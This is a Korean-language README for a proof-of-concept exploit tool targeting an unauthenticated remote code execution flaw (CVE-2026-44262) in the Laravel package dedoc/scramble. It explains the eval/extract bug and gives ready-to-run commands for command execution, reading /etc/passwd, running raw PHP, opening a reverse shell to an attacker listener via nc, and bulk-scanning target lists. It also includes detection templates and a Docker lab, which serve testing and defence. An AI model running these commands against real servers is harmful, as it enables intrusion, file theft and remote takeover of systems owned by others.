dedoc/scramble RCE (CVE-2026-44262) PoC

📜 설명

CVE-2026-44262는 Laravel API 문서 생성기인 dedoc/scramble에서 발생하는 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.

NodeRulesEvaluator::doEvaluateExpression()는 eval("return $code;")을 호출하기 전에 extract($variables)를 호출합니다. 컨트롤러가 $request->input()을 $code라는 변수에 할당하고 이를 검증 규칙으로 사용하면, Scramble은 해당 변수를 추적하여 eval 범위로 전달합니다. 공격자는 /docs/api.json에 조작된 쿼리 매개변수를 전달하여 $code를 임의의 PHP 코드로 덮어쓸 수 있습니다.

영향을 받는 버전: dedoc/scramble >=0.13.2, <0.13.22

✨ 기능

자동 탐지 — OpenAPI 스펙을 스캔하여 취약한 매개변수를 자동으로 발견
타이밍 프로브 — sleep()을 사용하여 eval 실행을 확인하는 안전한 비파괴 검사
명령 실행 — 셸 명령을 실행하고 HTTP 응답에서 직접 출력을 캡처
파일 읽기 — 대상 파일시스템에서 임의의 파일 읽기
PHP 코드 실행 — RCE를 통해 원시 PHP 코드 실행
리버스 셸 — PHP proc_open 기반 리버스 셸, bash 또는 busybox 불필요
대량 스캔 — 파일에서 여러 대상 스캔
OS 탐지 — Windows/Linux/Darwin 자동 감지 후 이에 맞게 페이로드 조정
Nmap NSE — 패시브 + 타이밍 탐지 스크립트 (http-scramble-rce-detect.nse)
Nuclei 템플릿 — 타이밍 확인이 포함된 2단계 탐지 (CVE-2026-44262.yaml)

🛠️ 설치

외부 의존성 없음 — Python 표준 라이브러리만 사용합니다.

macOS / Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

⚙️ 사용법

usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
                   [--check] [--command CMD] [--code PHP] [--read-file PATH]
                   [--shell] [--lhost HOST] [--lport PORT] [--os OS]
                   [--useragent USERAGENT] [--timeout SECONDS]

탐지

# Full detection (timing + exec probe)
python3 CVE-2026-44262.py --target http://example.com/docs/api

# Safe check only — timing probe, no command execution
python3 CVE-2026-44262.py --target http://example.com/docs/api --check

# Override JSON endpoint path
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json

# Bulk scan
python3 CVE-2026-44262.py --targets targets.txt

익스플로잇

# Execute a command
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"

# Read a file
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd

# Execute raw PHP
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"

# Reverse shell (start: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444

Nmap 및 Nuclei (패시브 + 타이밍, 익스플로잇 없음)

# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com

# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com

🐋 Docker 랩

취약한 애플리케이션(dedoc/scramble v0.13.21)이 포함된 자체 완결형 Docker 환경이 함께 제공됩니다. 자세한 내용은 docker/DOCKER.md를 참조하세요.

cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api

🕵🏼 참고 자료

📢 면책 조항

이 도구는 교육 및 연구 목적으로만 제공됩니다. 제작자는 이 도구로 인해 발생하는 오용이나 피해에 대해 어떠한 책임도 지지 않습니다.

CVE-2026-44262

인기